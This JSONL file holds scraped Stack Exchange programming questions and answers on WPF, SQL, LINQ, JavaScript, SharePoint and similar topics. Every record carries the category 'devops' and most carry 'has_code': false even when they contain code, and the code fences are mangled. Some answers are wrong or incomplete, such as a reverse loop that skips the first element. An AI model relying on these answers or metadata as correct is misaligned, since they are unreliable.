{"id": "hf_e8430cd46af3", "question": "<p>What I am looking for is the equivalent of <code>System.Windows.SystemParameters.WorkArea</code> for the monitor that the window is currently on.</p>\n\n<p><strong>Clarification:</strong>  The window in question is <code>WPF</code>, not <code>WinForm</code>.</p>\n", "question_body": "", "answer": "```\nScreen.FromControl\n```\n,\n```\nScreen.FromPoint\n```\nand\n```\nScreen.FromRectangle\n```\nshould help you with this. For example in WinForms it would be:\n```\n```\nclass MyForm : Form\n{\n  public Rectangle GetScreen()\n  {\n    return Screen.FromControl(this).Bounds;\n  }\n}\n```\n```\nI don't know of an equivalent call for WPF. Therefore, you need to do something like this extension method.\n```\n```\nstatic class ExtensionsForWPF\n{\n  public static System.Windows.Forms.Screen GetScreen(this Window window)\n  {\n    return System.Windows.Forms.Screen.FromHandle(new WindowInteropHelper(window).Handle);\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.371255"}
{"id": "hf_864cca5ebb7f", "question": "<p>Unsure if I've phrased this correctly, but in the callback how do I reference the controls property of the base class?</p>\n\n<p>This has been bugging me for some time and I usually work around it, but I'd be grateful if anybody can enlighten me on how I should do this properly.</p>\n\n<pre><code>var base = function() {\n    var controls = {};\n\n    return {\n        init: function(c) {\n            this.controls = c\n        },\n        foo: function(args) {\n            this.init(args.controls);\n            $(this.controls.DropDown).change(function() {\n                $(this.controls.PlaceHolder).toggle();\n            });\n        }\n    }\n};\n</code></pre>\n\n<p>Much Obliged,</p>\n\n<p>Paul</p>\n", "question_body": "", "answer": "You need to leverage closures here.\n```\n```\nvar base = function() {\nvar controls = {};\n\nreturn {\n    init: function(c) {\n            this.controls = c\n    },\n    foo: function(args) {\n            this.init(args.controls);\n            $(this.controls.DropDown).change(function(controls) {\n                    return function(){\n                        $(controls.PlaceHolder).toggle();\n                    }\n            }(this.controls));\n    }\n}\n```\n```\n};", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.399783"}
{"id": "hf_480a4eff46ff", "question": "<p>Is there any good software that will allow me to search through my SVN respository for code snippets?  I found 'FishEye' but the cost is 1,200 and well outside my budget.</p>\n", "question_body": "", "answer": "A lot of SVN repos are \"simply\" HTTP sites, so you might consider looking at some off the shelf \"web crawling\" search app that you can point at the SVN root and it will give you basic functionality. Updating it will probably be a bit of a trick, perhaps some SVN check in hackery can tickle the index to discard or reindex changes as you go.\nJust thinking out loud.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.463453"}
{"id": "hf_2e0c9b8968a4", "question": "<p>I have a table with columns</p>\n\n<blockquote>\n  <p>Index, Date</p>\n</blockquote>\n\n<p>where an Index may have multiple Dates, and my goal is the following: select a list that looks like</p>\n\n<blockquote>\n  <p>Index, MinDate, MaxDate</p>\n</blockquote>\n\n<p>where each Index is listed only once, and MinDate (MaxDate) represents the earliest (latest) date present <em>in the entire table for that index</em>.  That's easy enough, but then let's constrain this list to appear only for Indexes that are present in a given range of dates. </p>\n\n<p>So far, I have the following:</p>\n\n<pre><code>SELECT \n    Index,\n    MIN([Date]),\n    MAX([Date])\nFROM myTable\nWHERE\n    Index IN\n    (SELECT Index From myTable WHERE [Date] BETWEEN '1/1/2000' AND '12/31/2000')\nGROUP BY Index\nORDER BY Index ASC\n</code></pre>\n\n<p>This is excruciatingly slow.  Any way to speed this up?  [I am running SQL Server 2000.]</p>\n\n<p>Thanks!</p>\n\n<p>Edited: For clarity.</p>\n", "question_body": "", "answer": "You don't need the sub-select in the where clause.  Also, you could add indexes to the date column.  How many rows in the table?\n```\n```\nSELECT\n    [INDEX],\n    MIN ( [Date] ),\n    MAX ( [Date] )\nFROM\n    myTable\nWHERE \n    [Date] Between '1/1/2000' And '12/31/2000'\nGROUP BY\n    [Index]\nORDER BY\n    [INDEX] ASC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.514147"}
{"id": "hf_ddc6f018f769", "question": "<p>I need an easy way to allow users to upload multiple files at once (ie I need to allow a user to upload a folder).  I do not wish to put the burden of zipping on the user.  </p>\n\n<p><em>I would prefer to avoid Flash or variants if possible.</em>  I'm looking for a straight javascript / HTML solution if it is possible.  Please note, this rules out the answers at: <a href=\"https://stackoverflow.com/questions/159600/multiple-file-upload\">What is the best client side browser library to upload multiple files over http?</a>.</p>\n", "question_body": "", "answer": "If you're avoiding Flash (and presumably Java?) the JS/HTML-only solution still requires single-file\n```\ninput\n```\ns, but essentially you attach an\n```\nonchange\n```\nevent to your\n```\ninput\n```\n, adding a new\n```\ninput\n```\nto the DOM whenever a file is selected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.557602"}
{"id": "hf_87c1fe0e68e0", "question": "<p>I'm thinking about how to do this, but I have several different shapes of Data in my Database, Articles, NewsItems, etc.  </p>\n\n<p>They All have something in common, they all have IDs (in the DB they're named ArticleID, NewsID etc. )</p>\n\n<p>They all have a <strong>Title</strong></p>\n\n<p>They all have <strong>BodyText</strong>.</p>\n\n<p>They all have a <strong>Status</strong></p>\n\n<p>They all have a <strong>DateAdded</strong></p>\n\n<p>What I'd like to do is standard class inheritance.</p>\n\n<p>I'd like a Master Class (I don't need to write this to the database) called <strong>Content</strong> with fields like:</p>\n\n<ul>\n<li>ID</li>\n<li>Title</li>\n<li>SubTitle</li>\n<li>BodyText</li>\n<li>Status</li>\n<li>AddedDate</li>\n</ul>\n\n<p>I'm not sure how I can do this with the ORM. Why I want this is because then I can pass a list of COntent to my UserControl which is responsible for Rendering it.  It will only need the information that is common to all objects.</p>\n\n<p>Is this even possible?</p>\n", "question_body": "", "answer": "I'm not sure whether you're talking about LINQ to SQL, but there are a few resources online about how to create inheritance with it:\nLINQ To SQL Discriminator Column Example - Inheritance Mapping Tutorial\nInheritance in LINQ to SQL Screencast\n...and more.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.634826"}
{"id": "hf_d48f3c8e20c7", "question": "<p>Why does this lambda expression not compile?</p>\n\n<pre><code>Action a = () =&gt; throw new InvalidOperationException();\n</code></pre>\n\n<p>Conjecture is fine, but I would really appreciate references to the C# language specification or other documentation.</p>\n\n<p>And yes, I know that the following is valid and will compile:</p>\n\n<pre><code>Action a = () =&gt; { throw new InvalidOperationException(); };\n</code></pre>\n\n<p>The context where I would use something like this is described on <a href=\"http://jacobcarpenter.wordpress.com/2008/10/06/c-compiler-eccentricity-of-the-day-throwing-lambda/\" rel=\"noreferrer\">this blog post</a>.</p>\n", "question_body": "", "answer": "All the references I can find, from here:\nhttp://msdn.microsoft.com/en-us/library/ms364047(VS.80).aspx#cs3spec_topic4\nshow that you have two options:\n```\n```\nAction a = () => { throw new InvalidOperationException(); };\n```\n```\nor\n```\n```\nAction a = () => throw new InvalidOperationException()\n```\n```\nNote the missing ; on the end. Yes, it makes no sense to me either. The examples they give  in the spec are:\n```\n```\nx => x + 1                     // Implicitly typed, expression body\nx => { return x + 1; }         // Implicitly typed, statement body\n(int x) => x + 1               // Explicitly typed, expression body\n(int x) => { return x + 1; }   // Explicitly typed, statement body\n(x, y) => x * y               // Multiple parameters\n() => Console.WriteLine()      // No parameters\n```\n```\nDunno how much help that is - I can't tell what context you are using it in, and not putting a ; on the end makes no sense in C#\nthe difference may be that it's an expression body - not a statement - if it doesn't have the {}. Which means that your throw is not valid there, as it's a statement, not an expression!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.673205"}
{"id": "hf_49c85edd026a", "question": "<p>In a table, I have three columns - id, name, and count. A good number of name columns are identical (due to the lack of a UNIQUE early on) and I want to fix this. However, the id column is used by other (4 or 5, I think - I would have to check the docs) tables to look up the name and just removing them would break things. So is there a good, clean way of saying \"find all identical records and merge them together\"?</p>\n", "question_body": "", "answer": "Why can't you do something like\n```\n```\nupdate dependent_table set name_id = <id you want to keep> where name_id in (\n    select id from names where name = 'foo' and id != <id you want to keep>)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.748473"}
{"id": "hf_c4ce74c9a2c7", "question": "<p>I need a way to determine the type of an HTML element in JavaScript. It has the ID, but the element itself could be a <code>&lt;div&gt;</code>, a <code>&lt;form&gt;</code> field, a <code>&lt;fieldset&gt;</code>, etc. How can I achieve this?</p>\n", "question_body": "", "answer": "What about\n```\nelement.tagName\n```\n?\nSee also\n```\ntagName\n```\ndocs on MDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.773983"}
{"id": "hf_7c3a7258f52e", "question": "<p>I don't care what the differences are.  I just want to know whether the contents are different.</p>\n", "question_body": "", "answer": "The low level way:\n```\n```\nfrom __future__ import with_statement\nwith open(filename1) as f1:\n   with open(filename2) as f2:\n      if f1.read() == f2.read():\n         ...\n```\n```\nThe high level way:\n```\n```\nimport filecmp\nif filecmp.cmp(filename1, filename2, shallow=False):\n   ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.864632"}
{"id": "hf_50f8deb7bac3", "question": "<p>Knuth <a href=\"http://www-cs-faculty.stanford.edu/~knuth/news08.html\" rel=\"nofollow noreferrer\">recently objected</a> to 64-bit systems, saying that for  programs which fit in 4 gigs of memory, \"they effectively throw away half of the cache\" because the pointers are twice as big as on a 32-bit system.</p>\n\n<p>My question is: can this problem be avoided by installing a 32-bit operating system on a 64-bit machine?  And are there any bandwidth-intensive benchmarks which demonstrate the advantage in this case?</p>\n", "question_body": "", "answer": "The answer is: yes it can to a certain extent, although the performance difference is unlikely to be great.\nAny benchmark to test this will have to do a lot of pointer resolution, which will be difficult to separate out from the noise.  Designing a benchmark that will not optimise away is difficult.\nThis article about flawed java benchmarks\nwas posted by someone in response to another question, but many of the principles described in it will apply to this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.928339"}
{"id": "hf_67011713c19d", "question": "<p>I want to simplify my execution of a Groovy script that makes calls to an Oracle database. How do I add the ojdbc jar to the default classpath so that I can run:</p>\n\n<pre><code>groovy RunScript.groovy\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>groovy -cp ojdbc5.jar RunScript.groovy\n</code></pre>\n", "question_body": "", "answer": "```\ngroovy\n```\nis just a wrapper script for the Groovy JAR that sets up the Java classpath. You could modify that script to add the path to your own JAR, as well, I suppose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.953758"}
{"id": "hf_989b8e71066b", "question": "<p>I want to create a string that spans multiple lines to assign to a Label Caption property. How is this done in Delphi?</p>\n", "question_body": "", "answer": "```\nmy_string := 'Hello,' + #13#10 + 'world!';\n```\n```\n#13#10\n```\nis the CR/LF characters in decimal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.019744"}
{"id": "hf_38be897bb435", "question": "<p>What's the most appropriate type used to store the duration time information of a video in sql server?</p>\n", "question_body": "", "answer": "I would store it as an INT representing the number of seconds, but I suppose it all depends what you need to do with the information in your database (you wouldn't want to have to convert it to HH:MM:SS or something else in your DB)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.045110"}
{"id": "hf_b2606e6888f6", "question": "<p>I have an aspx page which will upload images to server harddisk from client pc</p>\n\n<p>But now i need to change my program in such a way that it would allow me to resize the image while uploading.</p>\n\n<p>Does anyone has any idea on this ? I couldnt not find such properties/methods with Input file server control</p>\n\n<p>Any one there to guide me ?</p>\n", "question_body": "", "answer": "You will not be able to resize \"on the fly\" since you will need to have the full image before you perform any image transformations. However, after the upload is complete and before you display any results to your user, you can use this basic image resizing method that I've used in a couple of my apps now:\n```\n```\n''' <summary>\n   '''    Resize image with GDI+ so that image is nice and clear with required size.\n   ''' </summary>\n   ''' <param name=\"SourceImage\">Image to resize</param>\n   ''' <param name=\"NewHeight\">New height to resize to.</param>\n   ''' <param name=\"NewWidth\">New width to resize to.</param>\n   ''' <returns>Image object resized to new dimensions.</returns>\n   ''' <remarks></remarks>\n   Public Shared Function ImageResize(ByVal SourceImage As Image, ByVal NewHeight As Int32, ByVal NewWidth As Int32) As Image\n\n      Dim bitmap As System.Drawing.Bitmap = New System.Drawing.Bitmap(NewWidth, NewHeight, SourceImage.PixelFormat)\n\n      If bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Format1bppIndexed Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Format4bppIndexed Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Format8bppIndexed Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Undefined Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.DontCare Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Format16bppArgb1555 Or _\n          bitmap.PixelFormat = Drawing.Imaging.PixelFormat.Format16bppGrayScale Then\n         Throw New NotSupportedException(\"Pixel format of the image is not supported.\")\n      End If\n\n      Dim graphicsImage As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(bitmap)\n\n      graphicsImage.SmoothingMode = Drawing.Drawing2D.SmoothingMode.HighQuality\n      graphicsImage.InterpolationMode = Drawing.Drawing2D.InterpolationMode.HighQualityBicubic\n      graphicsImage.DrawImage(SourceImage, 0, 0, bitmap.Width, bitmap.Height)\n      graphicsImage.Dispose()\n      Return bitmap\n\n   End Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.070916"}
{"id": "hf_00b50da75cca", "question": "<p>I'm looking for the easiest free SVN implementation I can find.</p>\n\n<p>I downloaded and installed VisualSVN Server - pretty easy.\nInstalled TortioseSVN - pretty easy - both work together.\nInstalled AnkhSVN, I can't get it to connect to the repository on the VisualSVN Server.</p>\n\n<p>Is there anything special I need to do to get AnkhSVN to talk to the VisualSVN Server?</p>\n", "question_body": "", "answer": "I have a repository in visualSVN.\nI can see that repository with Tortoise.\nHowever I can't connect to it with the 'repository explorer' feature of anhkSVN.\nI thought I had read that there were some issues with anhkSVN using http/s - the repository on the server is at an\nhttps://server:8443/svn/reponame\nI have been able to get anhkSVN to work with a different server using the svn:// protocol, but not with the VisualSVN-Server using the https: protocol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.225629"}
{"id": "hf_c6a7caf2f6ba", "question": "<p>I need to leave some instructional comments for other developers on a page/user control.  Is there a better way to do this besides the below?</p>\n\n<pre><code>  &lt;% /* DO NOT rename control IDs here, because blah blah blah... */ %&gt;\n</code></pre>\n", "question_body": "", "answer": "That is about it, barring a HTML comment.\nYour options are:\n```\n```\n<!-- Renders to ClientOutput too -->\n```\n```\nor:\n```\n```\n<% /* Your original idea */ %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.250469"}
{"id": "hf_8ddf4a1755e2", "question": "<p>What do I put in my order by??  I want to order by Name.  I have moved the orderby after the distinct because I read that it needs to be done last.</p>\n\n<pre><code>   var result = (from r in db.RecordDocs\n                  where r.RecordID == recordID\n                  select new\n                             {\n                                 DocTypeID = r.Document.DocType.DocTypeID,\n                                 Name = r.Document.DocType.Name,\n                                 Number = r.Document.DocType.Number\n                             }\n                 ).Distinct().OrderBy( );\n</code></pre>\n", "question_body": "", "answer": "Just do\n```\n```\n.OrderBy(doc => doc.Name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.324842"}
{"id": "hf_a54b0d5fd68d", "question": "<p>Is there a way to use a <code>foreach</code> loop to iterate through a collection backwards or in a completely random order?</p>\n", "question_body": "", "answer": "you can do it backwards:\n```\n```\nfor (int i=col.count-1; i>0; i--){ \n      DoSomething ( col.item[i]) ;\n}\n```\n```\nNot certain about the exact syntax, but that's the paradigm.\nAs for completely random order, you can access a collection element via it's index.  To ensure you hit every item, you would need to keep track of which elements you had already processed (probably by copying the collection and then removing the element after access).\nEDIT: More details for random access\nThe code for the random access could look something like this:\n```\n```\ncollection c = originalCollection;\n while (c.count > 0) {\n     int i = randomNumber(seed) mod c.count\n     element d = c[i];\n     c.remove(d);\n     DoSomething(d);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.386164"}
{"id": "hf_1e3a921db4db", "question": "<p>I am wondering how I can break up my index.php homepage to multiple php pages (i.e. header.php, footer.php) and build a working index.php page using those separate php pages.  I know WordPress uses this with different functions like:</p>\n\n<pre><code>GetHeader();\nGetFoodter();\n</code></pre>\n\n<p>But when I tried to use those functions, it errors.  I am guessing they are not native functions to PHP.</p>\n\n<p>What would I need to do to get this functionality?</p>\n", "question_body": "", "answer": "```\n```\ninclude 'header.php';\n\ninclude 'footer.php';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.435346"}
{"id": "hf_daf3b3526746", "question": "<p>I've been working with some C# legacy code and I've been seeing a lot of @ symbols in front of variable names. What does this signify or do?</p>\n\n<p>Currently I'm seeing it a lot in front of variables with common names that aren't reserved. E.g.:</p>\n\n<pre><code>MyProcedure(@step.LoadInstanceId, @step.ResultCode, @step.StatusCode);\n</code></pre>\n\n<p>Given that step isn't a reserved word, is there any reason that they should be escaped?</p>\n", "question_body": "", "answer": "It's just a way to allow declaring reserved keywords as vars.\n```\n```\nvoid Foo(int @string)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.521326"}
{"id": "hf_15b819d69ea9", "question": "<p>I'm running a PL/SQL block that is supposed to be calling a stored procedure who's output parameters are supposed to be populating variables in the PL/SQL block.</p>\n\n<p>The procedure compiles, and the PL/SQL block runs successfully. But I'd like to check the values of the variables populated by the procedure. Is there a way to output these values?</p>\n\n<p>I'm using Free TOAD if that helps. </p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "```\n```\ndbms_output.put_line(varHere);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.584214"}
{"id": "hf_003f06162876", "question": "<p>Can I somehow disable spell-checking on HTML textfields (as seen in e.g. Safari)?</p>\n", "question_body": "", "answer": "Update\n: As suggested by a commenter (additional credit to\nHow can I disable the spell checker on text inputs on the iPhone\n), use this to handle all desktop and mobile browsers.\n```\n```\n<tag autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\" spellcheck=\"false\"/>\n```\n```\nOriginal answer: Javascript cannot override user settings, so unless you use another mechanism other than textfields, this is not (or shouldn't be) possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.609413"}
{"id": "hf_0deaacb3f4b4", "question": "<p>I recently downloaded Mono 2 for my new MacBook.  I'm trying to figure out how to compile Visual Studio solutions with xbuild, which is included in Mono.  Any ideas?</p>\n", "question_body": "", "answer": "The last time I checked, solutions weren't supported by xbuild (they use a different file format), but *.*proj files are.\nIf you have a relatively simple solution, you may be able to get away with using xbuild on each project separately, but if your solution is very complex (with interdependencies between projects, etc.), you'll probably have to do a bit of hacking to make everything work.\nFurthermore, it's worth noting the C++ projects in Visual Studio don't use msbuild, either (although Visual Studio 2010 is supposed to fix this), so if you need to compile any C++, you're totally on your own (of course, Mono doesn't have a C++/CLI compiler, so you wouldn't get very far with xbuild, anyway).\nThis question/answer\nsuggests that you may wish to use mdtool, instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.658731"}
{"id": "hf_3ab3dd9b69bf", "question": "<p>In JSP I can reference a bean's property by using the tag\n${object.property}</p>\n\n<p>Is there some way to deal with properties that might not exist? I have a JSP page that needs to deal with different types. Example:</p>\n\n<pre><code>public class Person {\n    public String getName()\n}\npublic class Employee extends Person {\n    public float getSalary()\n}\n</code></pre>\n\n<p>In JSP I want to display a table of people with columns of name and salary. If the person is not an employee then salary should be blank. The row HTML might look like:</p>\n\n<pre><code>&lt;tr&gt;\n    &lt;td&gt;&lt;c:out value=\"${person.name}\"&gt;&lt;/td&gt;\n    &lt;td&gt;&lt;c:out value=\"${person.salary}\"&gt;&lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n\n<p>Unfortunately if person is not an employee then it can't find salary and an error occurs. How would I solve this in JSP?</p>\n\n<p>Edit: Is there an <strong>instanceof</strong> check in JSP tag language?</p>\n", "question_body": "", "answer": "You could always have a type field.\n```\n```\npublic class Person {\n    public String getType() { return \"Person\"; }\n    public String getName()\n}\npublic class Employee extends Person {\n    public String getType() { return \"Employee\"; }\n    public float getSalary()\n}\n```\n```\nYour JSP would look like\n```\n```\n<tr>\n    <td><c:out value=\"${person.name}\"></td>\n    <td><c:if test=\"'Employee' eq person.type\"><c:out value=\"${person.salary}\"></c:if></td>\n</tr>\n```\n```\nOf course the Class class already has this...\n```\n```\n<tr>\n    <td><c:out value=\"${person.name}\"></td>\n    <td><c:if test=\"'Employee' eq person.class.simpleName\"><c:out value=\"${person.salary}\"></c:if></td>\n</tr>\n```\n```\nYou could also have `isEmployee()' method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.733485"}
{"id": "hf_325d319b87b9", "question": "<p>What format do I use for Date/Time when writing to an XML file using .NET? Do I simply use <code>DateTime.ToString()</code>, or do I have to use a specific format?</p>\n", "question_body": "", "answer": "What does the DTD have to say?\nIf the XML file is for communicating with other existing software (e.g., SOAP), then check that software for what it expects.\nIf the XML file is for serialisation or communication with non-existing software (e.g., the one you're writing), you can define it.  In which case, I'd suggest something that is both easy to parse in your language(s) of choice, and easy to read for humans.  e.g., if your language (whether VB.NET or C#.NET or whatever) allows you to parse ISO dates (YYYY-MM-DD) easily, that's the one I'd suggest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.762971"}
{"id": "hf_9c79d6272adf", "question": "<p>The following code fails at runtime&hellip;</p>\n\n<pre>\nDim Id As Guid = CType(e.CommandArgument, Guid)\n</pre>\n\n<p>It throws this exception&hellip;</p>\n\n<pre>\nSystem.InvalidCastException was unhandled by user code\nSpecified cast is not valid\n</pre>\n\n<p>Why can't I cast <strong><em>e.CommandArgument</em></strong> as a Guid?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nDim DeleteId As Guid = New Guid(Convert.ToString(e.CommandArgument))\n```\n```\nThis works...\n```\nDim DeleteId As Guid = New Guid(DirectCast(e.CommandArgument, String))\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.835335"}
{"id": "hf_0621722cba2d", "question": "<p>I have a .Net CF 2.0 application and am using log4net to log errors.  I get a stack trace, but it doesn't have any line numbers.  I noticed that it doesn't appear to deploy the pdb file to the device, so I tried to manually place it in the same directory as the exe.  But that didn't help.</p>\n", "question_body": "", "answer": "Have you tried to bubble up the exceptions with out wrapping them in a new exception;\nlink\n```\n```\ntry {\n       //code..\n\n     }\n catch\n     {          \n        throw;\n      }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.860180"}
{"id": "hf_a05cbddeb180", "question": "<p>I was reading an article on MSDN Magazine about using the <a href=\"http://msdn.microsoft.com/en-us/magazine/cc700332.aspx\" rel=\"noreferrer\">Enumerable class in LINQ</a> to generate a random array. The article uses VB.NET and I'm not immediately sure what the equivalent is in C#:</p>\n\n<pre><code>Dim rnd As New System.Random()\nDim numbers = Enumerable.Range(1, 100). _\n    OrderBy(Function() rnd.Next)\n</code></pre>\n", "question_body": "", "answer": "```\n```\nRandom rnd = new Random();\nIEnumerable<int> numbers = Enumerable.Range(1, 100).OrderBy(r => rnd.Next());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.920879"}
{"id": "hf_ee509ee63a31", "question": "<p>I am looking for a clear, complete example of programmatically deleting all documents from a specific document library, via the Sharepoint object model.  The doclib does not contain folders.  I am looking to delete the documents completely (ie I don't want them in the Recycle Bin).</p>\n\n<p>I know of SPWeb.ProcessBatchData, but somehow it never seems to work for me.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You just have to go through all the files of your Document Library.\n```\n```\nforeach(SPListItem item in SPContext.Current.Web.Lists[\"YourDocLibName\"].Items)\n{\n    //TODO: Verify that the file is not checked-out before deleting\n    item.File.Delete();\n}\n```\n```\nCalling the delete method on a file from the API doesn't use the recycle bin. It's a straight delete. You still need to verify that the file is not checked-out.\nHere is some reference:\nSPList\nSPListItem\nSPFile", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:53.985091"}
